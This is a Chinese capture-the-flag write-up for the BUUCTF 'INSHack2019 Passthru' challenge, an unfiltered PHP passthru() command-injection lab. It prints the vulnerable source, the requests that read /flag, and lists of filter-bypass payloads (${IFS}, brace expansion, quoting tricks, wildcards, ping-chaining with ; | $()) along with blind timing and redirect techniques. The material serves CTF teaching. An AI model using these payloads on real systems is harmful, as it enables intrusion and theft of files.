BUUCTF 上的 [INSHack2019]Passthru 是一道非常经典的 Web 方向命令执行题,考点集中而且几乎没有弯弯绕绕。题目虽然叫“Passthru”,但很多人第一次看到这个英文会愣一下,其实它就是 PHP 里一个真实存在的函数passthru(),专门用来执行外部程序并把原始结果直接输出。题目把命令执行点放在 GET 参数cmd里,没有任何过滤,所以解题核心就一句话:让服务器执行我们想要的命令,找到 flag 并读出来。
这道题非常适合刚入坑 CTF Web 的选手练手,它能帮你把“命令执行函数”“参数注入”“Linux 下找文件”这几件事一次性串起来。就算你已经做过不少 Web 题,也可以借这个例子把system、exec、shell_exec、passthru这几个函数放在一起对比一遍,后面再遇到类似题目会顺手很多。
1. 题目概览与核心考点
1.1 看到题目名就能猜到漏洞点
CTF 的题目命名很多时候就是出题人给的提示。[INSHack2019]Passthru 这个题名拆开看非常友好:
- INS Hack 2019:题目来源,INSHack 是某支 CTF 战队或某场比赛的组织方出的题目,时间在 2019 年。
- Passthru:这不是英语里的常见单词,而是 PHP 函数
passthru()的函数名。
也就是说,出题人相当于在题目名字上直接写了“漏洞点在 PHP 的 passthru 函数”。所以我的第一反应就是:题目源码里大概率存在passthru($_GET['cmd'])或者类似passthru($cmd)的调用。后来启动环境一看,果然如此。
这提醒我们一个很实用的做题习惯:拿到题目先不要急着乱扫路径、猜后台,先把题目名里出现的每一条线索拆干净。尤其是像这种“一看就是个函数名”的题名,等于把答案写在脸上了。
1.2 题目实际页面长什么样
在 BUUCTF 平台打开题目,分配到的环境是一个 HTTP 服务。直接用浏览器访问,页面大概率会显示 PHP 源码,内容非常短:
<?php if (isset($_GET['cmd'])) { passthru($_GET['cmd']); } else { highlight_file(__FILE__); } ?>这就直接把真相摆出来了:
- 页面读取 GET 参数
cmd。 - 如果
cmd存在,就把它当作系统命令,交给passthru()执行。 passthru()会把命令产生的原始输出直接打到 HTTP 响应里。- 如果
cmd不存在,就用highlight_file(__FILE__)把当前源码高亮显示。
换句话说,我们每个人都能通过浏览器或者 Burp Suite 直接给服务器发送任意系统命令。没有黑名单、没有过滤、没有白名单,甚至连参数名都给好了。
1.3 核心考点与目标
这道题虽然简单,但覆盖的知识点其实不少:
- PHP 命令执行函数的掌握程度。
- GET 参数传入后如何被程序使用。
- 命令注入漏洞的检测方法。
- Linux 下查找文件、定位 flag 的基本功。
如果只用一句话总结,就是“通过 GET 参数注入命令,利用 passthru 执行系统命令,最终读取 flag 并提交”。理解了这一点,后面所有操作就都顺理成章了。
2. 环境搭建与初步侦察
2.1 启动靶机与准备工具
在 BUUCTF 的题目列表里找到 [INSHack2019]Passthru,点击启动环境,会得到一个类似http://node4.buuoj.cn:xxxxx的地址。这里我强烈建议不要只开浏览器,把工具链一次性准备齐:
- 浏览器:用来快速访问页面、观察源码。
- Burp Suite:用来抓包、改包、重放请求。命令注入经常要反复构造 URL,Repeater 比地址栏方便。
- curl:如果你更喜欢命令行,直接用 curl 发请求,后续自动化脚本也更好写。
工具不需要多,关键是顺手。我个人习惯是在浏览器里先确认页面结构,再把请求丢到 Burp 里改参数。因为这个题目只是一个 GET 请求,所以用 curl 反而更轻量,比如:
curl 'http://node4.buuoj.cn:xxxxx/?cmd=id'2.2 页面源码审计:漏洞点直接摆在眼前
我先把环境打开的页面完整看了一遍,它就是 2.3 节里那个 PHP 源码。这里有个容易忽略的细节:highlight_file(__FILE__)的作用是把你当前访问的 PHP 文件源码高亮显示出来。没有这个逻辑的话,访问根路径可能是一个空白页或者 404,我们就得多一步猜参数、扫目录的操作。
既然源码直接可见,那后面就不用再看目录结构和配置文件了。接下来的工作就是围绕cmd参数做探测。注意一点:题目代码里用的是passthru而不是system,这会直接影响回显方式。system()执行命令后会把最后一行输出返回给 PHP,而passthru()是把整个原始输出全部写到浏览器上。正因为这样,我们执行ls、cat这些命令时,能看到非常完整的回显,这比某些只回显最后一行的题目友好得多。
2.3 参数探测:先确认注入点
源码审计得出结论后,第一步就是测试cmd参数是否真实可用。在浏览器里访问:
/?cmd=ls如果页面返回了当前目录下的文件列表,说明命令已经执行成功。比如可能看到:
flag index.php这就等于拿到了“服务器正在执行我们传入命令”的直接证据。如果这一步返回空白或者直接报错,也不要慌,先检查参数名是不是cmd,再检查命令是否写错。实战中很多新手把cmd写成command,或者把passthru理解成“需要闭合引号”,都是最常见的误区。
3. 漏洞原理:为什么 passthru 会成为 RCE 入口
3.1 PHP 命令执行函数全家桶对比
在 PHP 里能执行系统命令的函数不止一个,做 Web 题经常碰到的有system、exec、shell_exec、passthru,还有popen、proc_open这些更底层的调用。它们的区别决定了我们拿到漏洞以后怎么利用、怎么拿到回显,所以我把常用几个整理成一个表:
| 函数 | 返回值 | 命令输出去向 | 实际利用时的观感 |
|---|---|---|---|
system() | 返回最后一行 | 直接输出到页面 | 有回显,但可能少几行 |
exec() | 只返回最后一行 | 需要自己echo输出 | 回显不直观,命令多行时容易漏 |
shell_exec() | 返回完整输出字符串 | 需要自己echo输出 | 和反引号运算符等价 |
passthru() | 返回执行状态码 | 原始输出直接写响应 | 回显最完整,二进制也能输出 |
popen() | 文件指针 | 通过文件读写获取 | 通常需要配合循环读取 |
proc_open() | 资源描述符 | 可控制 stdin/stdout/stderr | 最灵活,但代码最复杂 |
从攻击者的角度来说,遇到passthru是最舒服的,因为它把命令产生的 stdout 原封不动地输出到 HTTP 响应里。这也就是为什么题目名字一出现 Passthru,我基本可以断定:只要进了注入点,命令结果就是直接“白给”。
3.2 从参数到系统命令的完整调用链
把这个题目的调用链拆开看,一次正常请求的流程是这样的:
用户构造 URL -> HTTP GET 参数 cmd = "id" -> PHP 取出 $_GET['cmd'] -> passthru("id") -> 系统调用 /bin/sh -c "id" -> 执行二进制 /usr/bin/id -> stdout 返回给 PHP -> 输出到 HTTP 响应关键点在第四步:PHP 把passthru的字符串参数直接丢给系统 shell 去解释。这里的$cmd不是被当作一个普通字符串处理,而是被当成一段 shell 脚本片段。所以我在 URL 里传入的命令里如果带有管道符、分号、&&、反引号等字符,shell 都会老老实实地解析。
很多人会误以为“我只能执行一个命令,因为代码里只写了passthru($cmd)”。其实不是这样。passthru($cmd)并没有限制命令个数,它只是把一个字符串交给 shell,shell 会根据语法把它解析成多条命令。比如参数传成id; whoami,shell 会先执行id,再执行whoami。
3.3 命令注入的本质:Shell 元字符的作用
说到命令注入,就不得不提 shell 元字符。常见的命令分隔和组合符号有:
;:按顺序执行多条命令。&&:前一条命令成功后才执行后一条。||:前一条命令失败后才执行后一条。|:管道,把前一条命令的输出作为后一条命令的输入。$():命令替换,先执行括号里的命令并把结果放到当前位置。- 反引号
`:和$()作用类似。
这个题因为整体命令就是完全可控的,所以甚至不需要用这些元字符去“拼接”什么:我直接把cmd参数的值写成完整命令就好了。但在更复杂的 CTF 题目里,如果代码把参数拼到了某个固定命令后面:
passthru("ping " . $_GET['cmd']);这时候就必须利用;、|、&&等符号来截断原命令,才能执行我们自己的命令。这也是命令注入这一类漏洞的通用核心。
4. 利用过程:从命令注入到读取 flag
4.1 第一步:验证命令执行点存在
我开始正式打这个靶机时,先执行了id命令:
GET /?cmd=id HTTP/1.1 Host: node4.buuoj.cn:xxxxx响应内容是:
uid=33(www-data) gid=33(www-data) groups=33(www-data)这里能拿到当前用户的 UID 和 GID,说明服务器确实是以www-data身份在运行 Web 服务。验证命令执行点存在之后,接下来的思路就很简单了:先看看环境里有什么文件,再找 flag。
这一步看起来容易,但新手经常在这时候犯一个错误:验证完id之后就直接开始疯狂尝试各种 payload,一会cat /flag,一会cat flag.txt,也不先看目录结构。我建议养成一个习惯:把“信息收集”这一步做扎实,命令执行点确认后,先列目录、看路径、看身份,再针对性地找 flag。
4.2 第二步:确定当前身份与目录结构
我依次执行了下面两条命令:
/?cmd=pwd /?cmd=ls -lapwd返回了当前工作目录,一般是/var/www/html或者题目的 web 根目录。ls -la则能看到目录下的全部文件,包括隐藏文件。在我这个环境里,根目录下直接就有index.php和flag两个文件。
看到flag这个文件时,第一反应就是读它。但这里有一个非常值得说的点:不要把 flag 当作固定位置,不同题目里 flag 可能叫flag、flag.txt、/flag,也可能藏在/var/www/html/flag或者环境变量里。所以我们要么用肉眼找一个已经暴露的flag文件,要么用系统命令全盘搜索。
4.3 第三步:全盘搜索 flag 文件
如果ls -la没有直接看到 flag,或者看到的路径不确定,我建议用find命令去全盘找。常用写法:
/?cmd=find / -name "flag*" 2>/dev/null解释一下这条命令:
find /:从根目录开始找。-name "flag*":匹配所有以 flag 开头的文件。2>/dev/null:把错误输出丢弃,避免因为某些目录没有权限而刷屏。
find全盘搜索有时会有点慢,因为容器里文件多、有些目录没有权限访问需要逐个跳转。更快的替代方案是限制搜索深度:
/?cmd=find / -maxdepth 3 -name "flag*" 2>/dev/null-maxdepth 3表示只在三级目录以内搜索,速度会快很多。对于大多数 CTF 容器来说,flag 一般就在/、/root、/home、/var/www/html这几个常见位置,三级深度基本够用。
在我这台靶机上,find的输出非常直接:
/flag说明根目录下就有一个名为 flag 的文件。
4.4 第四步:读取 flag 并提交
找到/flag之后,读取它:
/?cmd=cat /flag页面返回了一串字符串,这就是这道题的 flag。形如flag{...}或者INSA{...}。把它复制到 BUUCTF 题目页面里的提交框,Done。
如果题目里的 flag 不是/flag而是/flag.txt,用同样的方法读取就行:
/?cmd=cat /flag.txt如果cat某些环境下被禁用了,也可以用tac、nl、more、less、head、tail等命令读取文本文件。例如:
/?cmd=nl /flag /?cmd=more /flag /?cmd=head -n 100 /flag4.5 完整请求示例:Burp 和 curl 双版本
整个利用过程如果整理成一个最简单的请求,在浏览器地址栏访问:
http://node4.buuoj.cn:xxxxx/?cmd=cat%20/flag注意 URL 里的空格被编码成了%20。如果不编码,直接在浏览器地址栏输入空格,浏览器通常也会自动处理,但在 Burp 里手动改包时一定要记得编码。
用 Burp Repeater 发送的完整请求长这样:
GET /?cmd=cat%20/flag HTTP/1.1 Host: node4.buuoj.cn:xxxxx User-Agent: Mozilla/5.0 Accept: text/html Connection: close用 curl 则更简单:
curl 'http://node4.buuoj.cn:xxxxx/?cmd=cat%20/flag'补充一个小经验:在构造较长命令时,比如find / -name "flag*" 2>/dev/null,我通常先把命令在本地终端里写好、跑通,然后再把空格、引号、星号做 URL 编码后放进 GET 请求。这样做可以减少很多因为 URL 编码不规范导致的低级错误。
5. 常见绕过手法与变种思考
5.1 空格被过滤怎么办
原题虽然没有过滤,但很多命令执行题目会把空格过滤掉。如果遇到这种情况,可以用下面几个技巧代替空格:
${IFS}:这是 shell 里的内部字段分隔符,默认包含空格、Tab、换行,在大多数场景可以当空格用。例如cat${IFS}/flag。$IFS$9:$9是第 9 个位置参数,通常为空,但可以防止IFS被合并到后面的字符里。例如cat$IFS$9/flag。%09:URL 编码后的 Tab 字符,有些题目会放行。- 重定向符:
cat</flag这种写法不需要空格,用输入重定向代替参数分隔。 - 花括号扩展:
{cat,/flag}在 bash 里会被扩展成cat /flag,很多简单 WAF 没考虑到。
实际做题时,我会按优先级尝试:${IFS}、%09、{cat,/flag}、cat</flag。
5.2 命令关键字被过滤怎么办
有时候题目会过滤cat、flag、/这类关键字。绕过思路主要有两个方向:用等价命令,或者用特殊字符拆分。
等价命令方面,读取文件不一定用cat,还能用tac、more、less、head、tail、nl、od、xxd等。比如tac /flag会把文件内容倒序输出,如果文件只有一行 flag,效果和cat完全一样。
特殊字符拆分方面,shell 的引号和反斜杠可以用来“在语法层面拆开关键字”,但最终传给系统的命令仍然是完整的。例如:
c\at /flag ca't' /flag反斜杠和单引号不会影响 shell 对命令名的识别,但可以绕开那些只做简单字符串匹配的 WAF 或者过滤函数。
如果过滤的是路径里的flag关键字,可以用 shell 的通配符:
cat /fl* cat /fla?*可以匹配任意长度字符串,?匹配单个字符。如果/flag是独一无二的文件,这两种写法都能读到。
5.3 无回显时如何盲打
有些题目把命令执行结果放进日志、写入文件,或者使用exec()但不输出结果,导致页面一片空白。遇到这种情况就不能靠回显直接看 flag 了。
最常用的招数有两个:
- 把命令执行结果重定向到一个 web 目录下的文件,然后再通过浏览器访问读取。比如先执行
ls -la > /var/www/html/result.txt,再访问http://target/result.txt。 - 利用时间盲注,比如
if [ -f /flag ]; then sleep 5; fi,如果命令执行成功但没有输出,我们也能通过响应时间判断文件是否存在。
更进阶的盲打还有 DNSLog 外带、HTTP 外带等方式,但在 CTF 平台和教学题目里,我建议优先考虑重定向文件的方式,简单、稳定、不依赖外网。
5.4 如果题目加上了过滤,我该怎么改 payload
出题人只要稍加改动,这个题就可能从“白送分”变成“中档题”。比如过滤了;、|、&,但没过滤空格和斜杠,那么cmd参数依然可以直接传完整命令,因为这里本身就是passthru($cmd),不需要靠分隔符去拼多条命令。再比如过滤了/,那可以试试cat$(pwd)/flag或者用${PATH:0:1}手工构造出斜杠。
如果代码改成:
passthru("ping -c 1 " . $_GET['cmd']);注入思路就从“直接传命令”变成了“先闭合原命令再注入”,常见 payload 如下:
; cat /flag | cat /flag $(cat /flag) `cat /flag`第一段命令ping -c 1和注入部分会被 shell 拼在一起解析。具体用哪个符号,取决于出题人过滤了谁。
6. 常见问题与排查技巧实录
6.1 页面白屏或返回 500
访问/?cmd=id时如果页面直接白屏或者返回 500,优先检查几件事:
- 环境是否启动了。BUUCTF 这类平台有时环境需要等几秒到几十秒,启动后 URL 才有效。
- 请求参数名是不是
cmd。有些题目会改成command、c等,一定要以源码为准。 - 命令里是否有空格没有编码。在地址栏通常没问题,但在 Burp 或脚本里容易踩坑。
6.2 命令明明执行了,却没有回显
如果执行id没有任何输出,不要急着认定“题目无回显”。先看看 PHP 代码到底调用了哪个函数:
- 如果是
passthru和system,正常都有回显。 - 如果是
exec或shell_exec,通常需要代码里单独echo。 - 如果代码把输出写到文件里了,那就按 5.3 的方式重定向到 web 目录再读取。
在这个题目里,因为有highlight_file(__FILE__),所以访问根路径能看到源码,确认是passthru之后,理论上不可能无回显。
6.3 find 命令执行半天没结果
find / -name "flag*"有时候会卡很久,原因通常是容器里文件太多,或者没有加2>/dev/null,错误信息刷屏导致输出被截断。建议改成:
/?cmd=find / -name "flag*" 2>/dev/null如果还是慢,就加-maxdepth:
/?cmd=find / -maxdepth 3 -name "flag*" 2>/dev/null也可以换个思路,先看常见目录:
/?cmd=ls -la / /?cmd=ls -la /var/www/html /?cmd=cat /flag6.4 过滤规则比预想更严格
如果你在 BUUCTF 上拿到的环境和我描述的不完全一样,说明题目可能被改过版本,或者我当天遇到的是简单版本。遇到过滤更严的情况,不要乱试,先把“过滤了哪些字符”摸清楚。方法很简单:逐步减少 payload,观察哪部分触发拦截。
比如先传:
?cmd=cat /flag如果被拦,改成:
?cmd=cat ?cmd=/flag ?cmd=cat /fl*通过单变量对比,就能知道是空格、命令名还是路径关键字被过滤了。然后回到第 5 章找对应的绕过方案。
这道题做完以后,我最大的感受是:CTF Web 里很多题目并不是考“多炫的 0day”,而是考基本功和判断力。你会不会从题目名里读出函数名,会不会验证注入点,会不会用find找文件,这些动作单独看都不难,但组合在一起就是完整解题链。建议新手拿到这道题以后,不要满足于提交 flag,把所有命令在本地 PHP 环境里复现一遍,再试着手动实现一个简单的字符过滤,用绕过技巧去打一遍,这样才是把一道送分题转化成真本事。